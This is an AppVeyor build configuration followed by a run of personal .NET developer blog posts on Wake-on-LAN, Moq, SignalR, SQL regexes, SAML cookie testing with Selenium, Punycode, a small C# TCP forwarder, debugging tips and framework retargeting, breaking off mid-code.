version: '1.0.0-alpha-{build}' init: - git config --global core.autocrlf true # If there's a tag, use that as the version. - ps: >- if($env:APPVEYOR_REPO_TAG -eq "true"){Update-AppveyorBuild -Version "$env:APPVEYOR_REPO_TAG_NAME"} # Will build dependencies in release (optimize and portable pdbs) mode: build_script: - cmd: for /f %%a in ('dir /b test') do dotnet test -c Release test/%%a/%%a.csproj after_build: # packing the current Release build of all projects under src/ - cmd: for /f %%a in ('dir /b src ^| find /v "Greentube.Messaging.All"') do dotnet pack --no-build -c Release src/%%a/%%a.csproj # pack the metapackage which is based on nuspec - cmd: nuget pack -version %APPVEYOR_BUILD_VERSION% src\Greentube.Messaging.All\Greentube.Messaging.All.nuspec # Will build in Coverage mode (full pdbs) and upload coverage to Codecov on_success: - ps: .\coverage.ps1 -UploadCodecov environment: global: DOTNET_SKIP_FIRST_TIME_EXPERIENCE: true DOTNET_CLI_TELEMETRY_OPTOUT: 1 test: off os: Visual Studio 2017 dotnet_csproj: patch: true file: 'src\**\*.csproj' version: '{version}' package_version: '{version}' artifacts: - path: '**\*.nupkg' name: messaging-nuget-packages # builds on tags will publish all nupkgs to GitHub as a Draft release deploy: release: $(appveyor_build_version) provider: GitHub auth_token: secure: DsKyNX5x7EJOCaRUpZu17qwOfpd/NWaZzmQd0aE62nBAGkqI3nASvvHfvoQTjL8y artifact: /.*\.nupkg/ draft: true on: appveyor_repo_tag: true

Note about the pace of changes

Everything about .NET Core changes rapidly. The tooling around it specially. A lot of configuration I've come up with was added as a reaction to some issue I encountered. I'm sure many of these issues will be solved soon so configuration could be simplified. An example is the full pdbs for coverage and the profiling API on MacOS. Take that into account when getting your own setup ready.

Wake on Lan in C# and Windows 8

2013-04-21T20:24:00.000+02:00

About 8 years ago I was writing scripts to run on a network with over 130.000 computers (of which 5000 I administered).
The scripts ran 24/7, parsing computer's inventory log files, which they sent to a central server. It was possible to detect and fix a whole bunch of issues, most of the time even before a user would notice something was wrong.

Note that most of those computers were running Windows NT 4, including the domain controllers. The task to install application in all those computers and keep their anti-virus signature up-to-date was not as trivial as it is today. There were times we needed to perform tasks on computers that weren't even switched on. And I must admit, back then I was quite proud of the solution I came up with for this particular case. Although it's not my goal to go into details on how I managed to get any of those 5000 computers, spread in 130 different offices, powered-on at any time; I want to write a little about the core of the solution: Wake on Lan

Whether to be able to power on your computer at home when you are away, or to manage a corporate network, the ability to switch a computer on out of sending a magic packet is at least quite interesting. It does require basic knowledge of computer networks and hardware to understand it, but to make it work, all you need is to know how to find your computer's MAC address. That's all you need to use WoL on a local network. However if you are willing to use it over the Internet, you'll need the IP address of the gateway of which the target computer belongs to, and have that gateway configured to forward the magic packet to the private network. The Port number is used in this case (if you use NAT, you'll need it), so that you can forward incoming UDP datagram on that predefined port of your router to an internal network IP address, or even the broadcast address if you'd like.

If the computer is switched off, it's likely the network switch's CAM table won't have an entry to your target computer's MAC address, and once your router forwards the datagram received from the external interface to your internal network, to the specific IP address you defined on the forwarding rule, the network switch will broadcast that to all ports.

You'll find many over architectured implementations of Wake on Lan out there, even in C#. But the fact is that it's really simple thing.

Let's see some C# code:

using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace BrunoGarcia.Net
{
    public sealed class WolManager
    {
        const int _payloadSize = 102;

        public static void SendMagicPacket(string mac, IPEndPoint ipEndPoint)
        {
            var macBytes = PhysicalAddress.Parse(mac).GetAddressBytes();

            var payload = new byte[_payloadSize];
            Buffer.BlockCopy(new byte[] { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, 0, payload, 0, 6);
            
            for (int i = 1; i < 17; i++)
                Buffer.BlockCopy(macBytes, 0, payload, 6 * i, 6);

            using (var udp = new UdpClient())
                udp.Send(payload, _payloadSize, ipEndPoint);
        }
    }
}

As you can see, it's a fire-and-forget operation, a single UDP datagram. The MAC address of the target machine goes in the payload. As I mentioned before, the port is not really important if you are sending the packet on the same subnet of your target computer (without the need of routing). Port on wikipedia you find to be 7 or 9. However 0 can be used:

WolManager.SendMagicPacket("B8-AC-6F-59-56-55", 
    new IPEndPoint(IPAddress.Parse("255.255.255.255"), 0));

This is fun, and I've used it to power on my computer at home from the Internet a few times. But now, when I got Windows 8, the fun wasn't quite working.

This KB from Microsoft describes the change:

Windows 7: In Windows 7, the default shutdown operation puts the system into classic shutdown (S5) and all devices are put into the lowest power state D3. Wake-On-LAN is not officially supported from S5 in Windows 7. However, some network adapters can be left armed for wake if enough residual power is available. As a result, wake from the S5 state is possible on some systems where enough residual power was supplied to the network adapter even though the system is in S5 and devices are in D3.

Windows 8: In Windows 8, the default shutdown behavior puts the system into hybrid shutdown (S4) and all devices are put into D3. Remote Wake-On-LAN from hybrid shutdown (S4) or classic shutdown (S5) is unsupported. Network adapters are explicitly not armed for Wake-On-LAN in both the classic shutdown (S5) and hybrid shutdown (S4) cases because users expect zero power consumption and battery drain in the shutdown state. This behavior removes the possibility of spurious wakes when explicit shutdown was requested. As a result, Wake-On-LAN is only supported from sleep (S3) or hibernate (S4) in Windows 8.

What a bummer. Anyway, not time to give up, right? Digging a bit deeper one understands better the changes, and enabling wake on lan on windows 8 is possible again:

Check out this post from Phil Pendlebury which talks about it.

Moq Return method not available after Setup

2013-03-04T21:26:00.000+01:00

If you are familiar with the mocking framework Moq, you're used to call Setup with the overload taking a Func<T, TResult> and expect after that the Return<TResult> method to be available. And it's normally there.

However, I just ran into an interesting scenario, where calling the correct overload did not make available the Return<TResult> method.

In my case the code being mocked is a dependency that makes a request on a webservice.
A mockup of the wrapper class is created, and the Load method, which returns an XDocument, is setup.

But Return wasn't available:

Interesting that the overload resolution resolved my Func<T, TResult> to Action<T>, therefore ISetup<T> was being returned instead of ISetup<T, TResult> even though the method I setup had return type!

I inspect the method I setup to double check the return type defined:

Yes, it's missing a reference to System.Xml.Linq.
The Unit Test Project template doesn't include a reference to this assembly (and that makes sense).
Well, I added it, it works now.

SignalR: Using a Hub instance not created by the HubPipeline is unsupported

2013-02-23T00:53:00.000+01:00

When you need to push data to a SignalR hub from outside the hub (from a Controller for example), don't try to create a new instance of the Hub, like I did. Otherwise you'll see this nice exception:

"Using a Hub instance not created by the HubPipeline is unsupported"

From Microsoft.AspNet.SignalR.Core

Instead, the hub context must be retrieved:

var context = GlobalHost.ConnectionManager.GetHubContext<HubType>();
context.Clients.All.Whatever();

Regex to match executing a stored procedure within a stored procedure

2013-02-16T17:55:00.000+01:00

Unless you're working with a custom string format, which requires you writing a regular expression, I suppose (suggest?) you'll look it up online, right?

If you need a Regex to match an IP, MAC or an E-mail, would you spend time writing it? Chances are that you might leave room for false positives and/or false negatives, unless you really test it. That's why it's common to look it up online.

I needed to take a list of proc names and parse thousands of create procedure scripts, looking up if anything from the input list was used (executed) from those procs. A procedure executing another procedure.

This kind of call can be made in several different ways. It might have or not the database name (cross db call), server name (linked server), it might have or not the EXEC/EXECUTE keyword. It might have or not brackets or set the result to a variable.

Since I looked it up and couldn't find it, I wrote it.
In case you need it, here you go:

^\s*((exec(ute)?)\s+)?(@\w+\s+=\s+)?((\[?\w+\]?\.{1,2}){1,3})?\[?p_storedProcedure\]?\s.*$

Note that if you use SQL Server with default collation, proc names are case insensitive. So make sure you let your Regex engine know it should ignore cases! Otherwise you'll have to mind the case of the EXEC/EXECUTE keywords anyway.

Also note that cross database and linked server calls will also match. Some examples of valid proc calls (that will match against the Regex) are:

p_storedProcedure -- comments
p_storedProcedure @id, @anotherParam
[p_storedProcedure] @id, @anotherParam
EXEC p_storedProcedure @id, @anotherParam
EXECUTE p_storedProcedure @id, @anotherParam
EXEC p_storedProcedure
EXEC p_storedProcedure -- comments
EXEC [p_storedProcedure] @id, @anotherParam
EXEC dbo.p_storedProcedure @id, @anotherParam
EXEC dbo.[p_storedProcedure] @id, @anotherParam
EXEC anySchema.[p_storedProcedure] @id, @anotherParam
EXECUTE dbo.[p_storedProcedure] @id, @anotherParam
EXEC [dbo].[p_storedProcedure] @id, @anotherParam
EXEC [dbo].p_storedProcedure @id, @anotherParam
EXEC DBTEST..p_storedProcedure @id, @anotherParam
EXEC DBTEST..[p_storedProcedure]
EXEC DBTEST.dbo.p_storedProcedure @id, @anotherParam
EXEC [DBTEST]..[p_storedProcedure] @id, @anotherParam
EXEC [DBTEST]..p_storedProcedure @id, @anotherParam
EXEC [DBTEST].[dbo].[p_storedProcedure] @id, @anotherParam
EXEC [LINKEDDATABASE].[DBTEST].[dbo].[p_storedProcedure] @id, @anotherParam
EXEC LINKEDDATABASE.DBTEST.dbo.p_storedProcedure @id, @anotherParam
EXEC LINKEDDATABASE.DBTEST..p_storedProcedure @id, @anotherParam
EXEC @paramName = [dbo].[p_storedProcedure] @id, @anotherParam
EXEC @paramName = dbo.p_storedProcedure
EXEC @paramName = p_storedProcedure @id, @anotherParam
EXECUTE @paramName = p_storedProcedure @id, @anotherParam
EXECUTE    @paramName     =     p_storedProcedure     @id, @anotherParam

Pitfalls on WIF+SAML2 and Selenium

2012-12-12T21:39:00.000+01:00

WIF and SAML 2.0

First some background: There is a known issue on WIF (Windows Identity Foundation) for SAML 2.0 that generates cookies with a name being a GUID and the value, base64 encoded data that grows every SAMLRequest the module handles. The decoded value looks like: 0;1;2;3;4;5;6;7;8;9;10;11;12;13;14;15
It starts with small ones but get really, really large.

Every client gets one of these cookies and each time they are bigger, to the point that when they are sent back to the server, an HTTP error is thrown: HTTP 400 - Bad Request (Request Header too long)

This msdn link has a comment with the first steps to take in case you end up with this problem. They are very straight forward and we did them even before ending up on that msdn page. Regarding their forth step (final "fix"), in our case, it was decided a different solution.

The solution here was to remove the cookies before they would be sent out to the user in the first place. This way, even though for some really short time the cookie existed in memory at the server, the client never got to know of its existence. Do achieve that, login and logout gotta be changed. That is: SignIn and RedirectingToIdentityProvider events from the Saml2AuthenticationModule. At that point in the event pipeline, the underlying Microsoft WIF code had already added the cookies to the Response, which gives us opportunity to remove them before the headers are sent out to the client.

Which takes us to Selenium:

The final solution had to be tested before dropping new build to production. And to test it, we had to reproduce it. The issue was not known during Dev or QA phases/environments, it did not happen, so the first step was to be able to reproduce it on a controlled environment.

Basically the idea was to use Selenium to simulate few dozens of users logging in and off in parallel until a cookie matching a GUID (plus a number?) would be received by one of the clients. There was no need to let it grow to the point of having: HTTP 400 - Bad Request (Request Header too long)

For that, I wrote a small application to spawn a thread for each IWebDriver (threads from the pool were conflicting the Drivers), each logging in with a different user account, removing the cookies (so user would be challenged again) and starting over.

The code would detect the existence of the cookie and stop the test, but to make visible (the cookies in and out) we can load Selenium driver with Firebug enabled and the cookie tab enabled and visible as default.

That goes like:

const string firebug = @"firebug-1.10.6-fx.xpi";
IWebDriver driver;
if (includeFireBug && File.Exists(firebug))
{
 var profile = new FirefoxProfile();
 profile.AddExtension(firebug);
 // Set default Firebug preferences
 profile.SetPreference("extensions.firebug.currentVersion", "1.10.6");
 profile.SetPreference("extensions.firebug.allPagesActivation", "on");
 profile.SetPreference("extensions.firebug.defaultPanelName", "cookies");
 profile.SetPreference("extensions.firebug.net.enableSites", true);
 profile.SetPreference("extensions.firebug.cookies.enableSites", true);
 driver = new FirefoxDriver(profile);

I mentioned the code would check the cookies to look for the GUID one, and with selenium API, it's very simple to do so:

Guid test;
if (driver.Manage().Cookies.AllCookies.Any(p => p.Name.Length >= 37 
    && Guid.TryParse(p.Name.Substring(0, 36), out test)))
{
...

Just checked if it's big enough to be GUID, then tried to parse the GUID part of it (note it appends some number to sequentially divide them into 2k sized each).

Two domains involved in this test. The service provider, let's call: service.com

And the identity provider: idp.com

Initially I set the IWebDriver Url property to the service provider: service.com
Find the element for Login and fire a click. That would call the SAML module that would redirect the client to the identity provider: idp.com

The login and password input elements would be filled up and login button triggered in the IdP page.
At this point, the session cookie from the IdP was sent to the browser, under idp.com domain, and client redirected back to service.com. SAML flow finished and session cookies from service.com also sent to the client.

That's all we need to reproduce the issue. However, these steps had to be done over and over, several times until the issue would happen. Particularly in our case, Logout was not possible since the accounts used were test account and thus not validated, so simply deleting the cookies would enable us restart the flow (and save us some requests/time). But this means deleting cookies from both service.com and idp.com.

Using Selenium API, I wrote:

driver.Manage().Cookies.DeleteAllCookies();

Even though the method is called DeleteAllCookies, it deletes all cookies from the current domain on which the WebDriver is located. In this case, service.com, since user just landed after the SAML login.
Looping the Cookies collection from within the WebDriver obviously would return only the cookies from the current domain.

It was the time for a second maneuver:
Setting the Url property of the WebDriver to anywhere under the idp.com domain that wouldn't return with a redirection, and call again DeleteAllCookies. That simple.
I browsed the root of the domain, without any resource id, which returned 403.14 - Directory listing denied. That was enough to run a code like:

// right after login flow finished (landed on service.com, logged in)
driver.Manage().Cookies.DeleteAllCookies(); // deletes service.com cookies
driver.Url = "idp.com";
driver.Manage().Cookies.DeleteAllCookies(); // deletes idp.com cookies

After that the flow could be re-initiated. After few hundreds of times, we could reproduce the issue, add the fix, run the test again with thousands of logins, without any issues.

Top level domains and punycode with C#

2012-11-10T23:37:00.000+01:00

Punycode is used to encode Unicode characters into ASCII for IDN (Internationalized domain name).

On the RFC 3492 you'll find:

"Punycode is a simple and efficient transfer encoding syntax designed for use with Internationalized Domain Names in Applications (IDNA). It uniquely and reversibly transforms a Unicode string into an ASCII string."

Now if you are looking for validating TLD (Top level domains), you must have that information in mind. The ICANN list of TLD also contains the IDN ccTLD that started to be included in 2010.

Some Punycode encoded examples from that list:

XN--0ZWM56D
XN--11B5BS3A9AJ6G
XN--3E0B707E
XN--45BRJ9C
XN--80AKHBYKNJ4F
XN--80AO21A
XN--90A3AC
XN--9T4B11YI5A
XN--CLCHC0EA0B2G2A9GCD
XN--DEBA0AD
XN--FIQS8S
XN--FIQZ9S

The prefix is XN-- makes it easier to identify the Punycode enconded strings.

Luckily the since version 2.0, the .Net Framework offers a class to deal with IDN (Punycode and the Nameprep it has to do prior to encoding):

System.Globalization.IdnMapping.

My goal was to receive a TLD (string) and validate it against the ICANN list of TLD. My first snippet throw an exception on line 4:

var tld = ".ਭਾਰਤ";
if (Regex.IsMatch(tld, @"[^\u0000-\u007F]"))
{
    tld = _IdnMapping.GetAscii(tld);
}

Exception message was: IDN labels must be between 1 and 63 characters long.

My speed reading techniques are quite bad.. In fact I don't have any. Sometimes I just focus on what I believe to be the most important part of the message (in this case "1 and 63 chars long" which didn't make sense) and I ended up missing something important (IDN labels).

I googled the exception, finding only these very useful (?!?) Exception translation websites and nothing more.
Only to better read the message and realize that the catch was that IdnMapping works with domain name labels:

"A constituent part of a domain name. The labels of domain names are connected by dots. For example, "www.iana.org" contains three labels — "www", "iana" and "org". For internationalized domain names, the labels may be referred to as A-labels and U-labels."

Therefore, my input was simply broken considering it started with a dot. If you are looking to validate the complete list of TLD, including ccTLD, or even the complete domain with multiple labels supporting IDN, the IdnMapping class is a go. However, make sure your code does not have leading or trailing dots by having it Trim('.') or something.

Regarding the IDNA versions, on the .Net framework prior to version 4.5 works with version 2003. Now if you are running .Net Framework 4.5 on Windows 8, the IDNA 2008 will be used.

Simple TCP Forwarder in C#

2012-10-09T21:43:00.000+02:00

When people ask: What would I use a TCP Forwarding tool for?

Normally the answer goes like "to eavesdrop someone's connection".

Most of our connections go over SSL (at least the most important ones) and the certificate would be invalidated in case a MITM would be on going.

There are some troubleshooting situations when one would use a TCP forwarding tool as a proxy from one box to another but on what basis this technique/tool is used can vary a lot.

There are many TCP forwarding tools available on the web. However, the truth is that no one wants to get a whole solution out of a compressed file, fire Visual Studio when accessing a computer via command line (read: reverse shell here?). On top of that, I wanted to have some fun, so I decided to write one.

And how complicated is to write a TCP Forwarding tool? Or a TCP proxy if you prefer, in C#?

It takes only 66 lines of code using plain Socket class. And it's fun!

using System;
using System.Net;
using System.Net.Sockets;

namespace BrunoGarcia.Net
{
    public class TcpForwarderSlim
    {
        private readonly Socket _mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

        public void Start(IPEndPoint local, IPEndPoint remote)
        {
            _mainSocket.Bind(local);
            _mainSocket.Listen(10);

            while (true)
            {
                var source = _mainSocket.Accept();
                var destination = new TcpForwarderSlim();
                var state = new State(source, destination._mainSocket);
                destination.Connect(remote, source);
                source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state);
            }
        }

        private void Connect(EndPoint remoteEndpoint, Socket destination)
        {
            var state = new State(_mainSocket, destination);
            _mainSocket.Connect(remoteEndpoint);
            _mainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataReceive, state);
        }

        private static void OnDataReceive(IAsyncResult result)
        {
            var state = (State)result.AsyncState;
            try
            {
                var bytesRead = state.SourceSocket.EndReceive(result);
                if (bytesRead > 0)
                {
                    state.DestinationSocket.Send(state.Buffer, bytesRead, SocketFlags.None);
                    state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state);
                }
            }
            catch
            {
                state.DestinationSocket.Close();
                state.SourceSocket.Close();
            }
        }

        private class State
        {
            public Socket SourceSocket { get; private set; }
            public Socket DestinationSocket { get; private set; }
            public byte[] Buffer { get; private set; }

            public State(Socket source, Socket destination)
            {
                SourceSocket = source;
                DestinationSocket = destination;
                Buffer = new byte[8192];
            }
        }
    }
}

No rocket science here: using both Asynchronous (good old CLR APM in this case) and Synchronous Socket programming, few C# lines of code with one method exposed as an entry point taking the endpoints as parameter.

When I say asynchronous and synchronous, it's because the code has three synchronous methods from the Socket class been called. The first is the Socket.Accept() which blocks the thread until a connection is received. I chose this technique so that the Start method would never return and the main thread would handle the main socket.

The second synchronous method used is Socket.Send. This method also blocks the thread (in this case will be a thread from the ThreadPool due to async I/O that fired the receive callback). When one socket receives data, it forwards to the second socket in a synchronous manner, before asynchronously restarting to receive data.

In fact, a few tests I ran (where one socket is only flushing all buffer to a second socket) using BeginSend (asynchronous Socket.Send) performed slower then the synchronous Send.

Third, the Socket.Connect() which initiates the connection with the remote endpoint, where you want the data you send to the program to be forwarded to.

Once a connection is established, APM is used with BeginReceive/EndReceive to receive data. This means each pair of sockets will receive data using APM and use the same thread from the pool that called the callback to send the data to the other socket.

Let's run it!

Previously, I just wrote a class, right? That's far from having an executable.
As I mentioned before, my idea here was not to have yet another TCP Forwarding tool on Github, codeplex or codeproject, with dozens of files, so that we could forward some data.

So I propose a small change to the code above:
Let's add a static Main method to that class and build it as a command-line application:

        static void Main(string[] args)
        {
            new TcpForwarderSlim().Start(
                new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])),
                new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3])));
        }

After that we can compile it with:

csc /o+ /debug- /out:TcpForwarder.exe /t:exe TcpForwarderSlim.cs

Even though I used C# compiler vesion: 4.0.30319.17020, code will compile just fine even with version 2.0 of the .Net Framework. The generated assembly has size: 5,632 bytes.

Let's try it out by browsing xkcd. We get their IP address and setup the tunnel:

C:\>ping xkcd.com
Pinging xkcd.com [107.6.106.82] with 32 bytes of data:

C:\>TcpForwarder.exe 127.0.0.1 12345 107.6.106.82 80

Viewing xkcd via TCP Tunnel

Great comics by the way! As usual.

Notice the address bar contains localhost:12345, which makes sense considering we set up the tunnel as: 127.0.0.1 port 12345 as local endpoint. On the bottom of the screenshot there's the Firefox extension DNS Flusher bar that shows ::1 which is the loopback address in IPv6.

If you think I might have a copy of xkcd comics number 1118 on my hard drive (the whole page, actually) and a web server binding port 12345, that's not the case. :)

Now, we have a class file with 73 lines of code (after adding the static Main method) but there's still some manual job in order to get the tunnel working. So let's try to automate this a bit more. Perhaps scripting the whole thing?!

The code can be a lot smaller if using minification. Got a nice hint on Stack overflow using Visual Studio find and replace with Regex: :Wh+

We create a script, let's say buildTcpForwarder.cmd, not forgetting to escape the > sign with ^ so that the interpreter ignores it. Note I have the path to the C# compiler (csc.exe) on my PATH environment variable

echo using System; using System.Net; using System.Net.Sockets; namespace BrunoGarcia.Net { public class TcpForwarderSlim { private readonly Socket MainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); static void Main(string[] args) { new TcpForwarderSlim().Start( new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])), new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3]))); } public void Start(IPEndPoint local, IPEndPoint remote) { MainSocket.Bind(local); MainSocket.Listen(5); while (true) { var source = MainSocket.Accept(); var destination = new TcpForwarderSlim(); var state = new State(source, destination.MainSocket); destination.Connect(remote, source); source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } private void Connect(EndPoint remoteEndpoint, Socket destination) { var state = new State(MainSocket, destination); MainSocket.Connect(remoteEndpoint); MainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataReceive, state); } private static void OnDataReceive(IAsyncResult result) { var state = (State)result.AsyncState; try { var bytesRead = state.SourceSocket.EndReceive(result); if (bytesRead ^> 0) { state.DestinationSocket.Send(state.Buffer, bytesRead, SocketFlags.None); state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } catch { state.DestinationSocket.Close(); state.SourceSocket.Close(); } } private class State { public Socket SourceSocket { get; private set; } public Socket DestinationSocket { get; private set; } public byte[] Buffer { get; private set; } public State(Socket source, Socket destination) { SourceSocket = source; DestinationSocket = destination; Buffer = new byte[8192]; } } } } > source.cs

csc /o+ /debug- /out:TcpForwarder.exe /t:exe source.cs

TcpForwarder.exe %1 %2 %3 %4

Now just call the script:

C:\buildTcpForwarder.cmd 127.0.0.1 12345 107.6.106.82 80

C:\>echo using System; using System.Net; using System.Net.Sockets; na
mespace BrunoGarcia.Net { public class TcpForwarderSlim { private readonly Sock
et MainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, Protoc
olType.Tcp); static void Main(string[] args) { new TcpForwarderSlim().Start( new
IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])), new IPEndPoint(IPAddr
ess.Parse(args[2]), int.Parse(args[3]))); } public void Start(IPEndPoint local,
IPEndPoint remote) { MainSocket.Bind(local); MainSocket.Listen(5); while (true)
{ var source = MainSocket.Accept(); var destination = new TcpForwarderSlim(); va
r state = new State(source, destination.MainSocket); destination.Connect(remote,
source); source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataRec
eive, state); } } private void Connect(EndPoint remoteEndpoint, Socket destinati
on) { var state = new State(MainSocket, destination); MainSocket.Connect(remoteE
ndpoint); MainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFl
ags.None, OnDataReceive, state); } private static void OnDataReceive(IAsyncResul
t result) { var state = (State)result.AsyncState; try { var bytesRead = state.So
urceSocket.EndReceive(result); if (bytesRead > 0) { state.DestinationSocket.Send
(state.Buffer, bytesRead, SocketFlags.None); state.SourceSocket.BeginReceive(sta
te.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } catch { state.D
estinationSocket.Close(); state.SourceSocket.Close(); } } private class State {
public Socket SourceSocket { get; private set; } public Socket DestinationSocket
{ get; private set; } public byte[] Buffer { get; private set; } public State(S
ocket source, Socket destination) { SourceSocket = source; DestinationSocket = d
estination; Buffer = new byte[8192]; } } } } 1>source.cs

C:\>csc /o+ /debug- /out:TcpForwarder.exe /t:exe source.cs
Microsoft (R) Visual C# 2010 Compiler version 4.0.30319.17020
Copyright (C) Microsoft Corporation. All rights reserved.

C:\>TcpForwarder.exe 127.0.0.1 12345 107.6.106.82 80

The source file is generated, built and the tunnel starts with the parameters we passed to the script so we can check xkcd once more via TCP Forwarding.

Organizing Debugging Sessions

2012-08-08T21:37:00.000+02:00

When working with Enterprise applications, with thousands of lines of code (aka: KLOC) and hundreds of references, several techniques are used to improve productivity when it comes to debugging code. It's very common to end up debugging the same portion of the system from time to time and too often these are source files from different solutions, spread in a huge source tree.

Once we are done with debugging something, perhaps not deleting the breakpoints and start to debug something else, it happens to get stuck with those "old" breakpoints. First reflex is to hit F5 so flow can continue, only until that happens enough times so we actually remove them. At least for me that's a bit annoying and counter productive.

Perhaps we just Disable all breakpoints? Fine, works well, but it happens that you keep doing it until the point you enable them again to get some back and end up having several breakpoints you really don't need at that point. Here starts that annoying behavior again.

Last option would be to delete all breakpoints when you start debugging something else. However, at some point you'll wish you had those breakpoints, especially those Conditional breakpoints or When hit/ Run macro, because you are back looking at that portion of the system once more.

But wait! Who said that was the last option?

This is when the Import and Export breakpoints for Visual Studio has its best use. You can read a lot about "handing off a debugging session to another developer" as the main reason to use it, and for sure it's valid but I believe the most common reason to use this would be to organize your own debug sessions.

My objective here is not to describe how to import and export breakpoints, this is very straight forward and you can check it here. I'd like to point out that as we have these t-sql scripts saved, to make our lives easier when troubleshooting database related issues, saving your breakpoints can save you a lot of time when debugging code.

This is mostly useful when working with huge applications, with many source files that are part of your debugging but are not part of the solution you have loaded with Visual Studio. Once you have imported your breakpoints, you can easily open any file by double clicking the breakpoint on Breakpoint window (CTRL + D, B).

If you don't organize your debug sessions by importing and exporting breakpoints, give it a try!

Paranoid android

2012-06-29T17:13:00.000+02:00

I have been finding quite hard to trust nearly any application for many years. When you think of the underlying infrastructure that exist to enable you hit a server, download a piece of software and everything that could go wrong.

What if I'm hitting a spoofed DNS Server?
my access point was cracked?
one hacked the telco router and is deviating my traffic through another box?
or what if I already have some piece of software installed eavesdropping my browsing?

This paranoid list could go on forever. Obviously there's something you can do to avoid or monitor each of these items, but the truth is that you can never say, 100%, that every page you hit will be harmless and there is no malicious code running on your computer or that some piece of software is completely safe to be executed without some privacy concerns or whatever.

When you think about all these exploits coming out, for all kind of software, you can get quite paranoid.
Like on Windows, you click a file with extension .docx, well, you know Word will fire up and parse that file.
You know that there was already problems with Microsoft Office, Flash, and several other softwares, when parsing that would execute some shellcode stored in that file, and you would have no idea by looking at "its Word document Icon".
What about web related security issues? I suppose I'm not the only paranoid, am I?

I'm going on a trip this weekend and I decided to download a set from Astrix, from Youtube. That's legal, right? Can I write this here? Anyhow, I changed my mind and didn't! ;)

There are tons of websites dedicated for that, but they aren't happy to do videos longer than 1 hour and I had to think of another way.

For long I've known that it's always a bad idea to download these "tools", but I decided to give it a try.
Found a mainstream one, from dvdvideosoft, called Free Youtube to Mp3.

Downloaded the quite big package, 26 Mb... And the first thing that popped in my head was:

Unlike Stuxnet and Duqu which had a specific target, Flame is more generic and its size is 20 mega bytes, which is huge considering that anti-virus experts have seen codes of just 1 mb so far

Waited for the Antivirus to popup or something, calling me stupid, but nothing happened.
Since the paranoia doesn't go away, I thought: Let's check if the file is signed:

All seems good, time to get some Astrix!
Ran that stuff, read (ok, like 20% of) the privacy agreement, everything went fine and I fired up the app.

Aha! So now I got two windows, one from the App, and the other one from Symantec Antivirus!
My thoughts, throughout 3.2 milliseconds were:

F%$*& I knew this was crap.
This means that all other apps I executed, and my anti virus didn't pop up, were freaking malware?
False positive maybe? Try not to be too paranoid dude!
I suppose the reverse shell is running right now....

The message from the antivirus was:

SYMANTEC TAMPER PROTECTION ALERT

Target: C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.1000.157.105\Bin\ccSvcHst.exe
Event Info: Create Process
ActionTaken: Blocked
Actor Process: C:\PROGRAM FILES (X86)\COMMON FILES\DVDVIDEOSOFT\BIN\DVSSERVICE.EXE (PID 11480)

And again:

SYMANTEC TAMPER PROTECTION ALERT

Target: C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.1000.157.105\Bin\SavUI.exe
Event Info: Create Process
ActionTaken: Blocked
Actor Process: C:\PROGRAM FILES (X86)\COMMON FILES\DVDVIDEOSOFT\BIN\DVSSERVICE.EXE (PID 9092)

This kind of situation does not help a paranoid guy. Finally I uninstalled the program and made new plans for a new VM where I can grow a colony of viruses while testing stuff out.

EDIT:

I'm currently reading CLR via C# from Jeffrey Richter and when he talks about .NET framework deployment goals and why Microsoft Windows has a reputation for being unstable and complicated. I found something I think it's worth quoting here:

"... The third reason has to do with security. When applications are installed, they come with all kinds of files, many of them written by different companies. In addition, Web applications frequently have code (like ActiveX controls) that is downloaded in such a way that users don't even realize that code is being installed on their machine. Today, this code can perform any operation, including deleting files or sending e-mail. Users are right to be terrified of installing new applications because of the potential damage they can cause. To make users comfortable, security must be built into the system so that the users can explicitly allow or disallow code developed by various companies to access their system's resources."

- Jeffrey Richter, CLR via C# third edition.

This paragraph and specially the text highlighted (by me) gives me the feeling I'm not alone in this paranoia. :)

Re-targeting multiple Asp.Net Web App from 3.5 to 4

2012-05-22T19:37:00.000+02:00

I understand it's a bit late to be doing it but better late than never. I got this .Net Framework 3.5 project to convert to .Net Framework 4...

Easiest way I know is: switch a value in a selection box and Visual studio does the changes for you.

However my situation was that I had several configuration files I would have to convert.
I found on msdn, instructions to perform the conversion manually and wrote each step into a quick-and-dirty command line application:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using System.Xml.XPath;
using System.IO;

namespace RetargetFramework4
{
    class Program
    {
        static void Main(string[] args)
        {
            bool deleteWebServerSection = true;

            // justrun param will let if go without interruptions (and WILL execute step 7)
            if (args == null || !args.Any() || args[0] != "justrun")
            {
                // try to make the user give up
                if (!Confirm(@"
This code runs the steps from: http://msdn.microsoft.com/en-us/library/dd483478.aspx on all files ending with .config in the current folder.
Make sure you have them backed up.

Step 1: Make sure that the application currently targets ASP.NET 3.5!

Step 9: If you have customized the Web.config file, and if any customizations refer to custom assemblies or classes, make sure that the assemblies or classes are compatible with the .NET Framework version 4.

Are you sure you want to continue? (y/n)
"))
                    return;

                deleteWebServerSection = ShallPerformStepSeven();
            }

            var configs = Directory.GetFiles(".", "*.config");
            Console.WriteLine("{0}Found {1}", Environment.NewLine, string.Join(", ", configs));

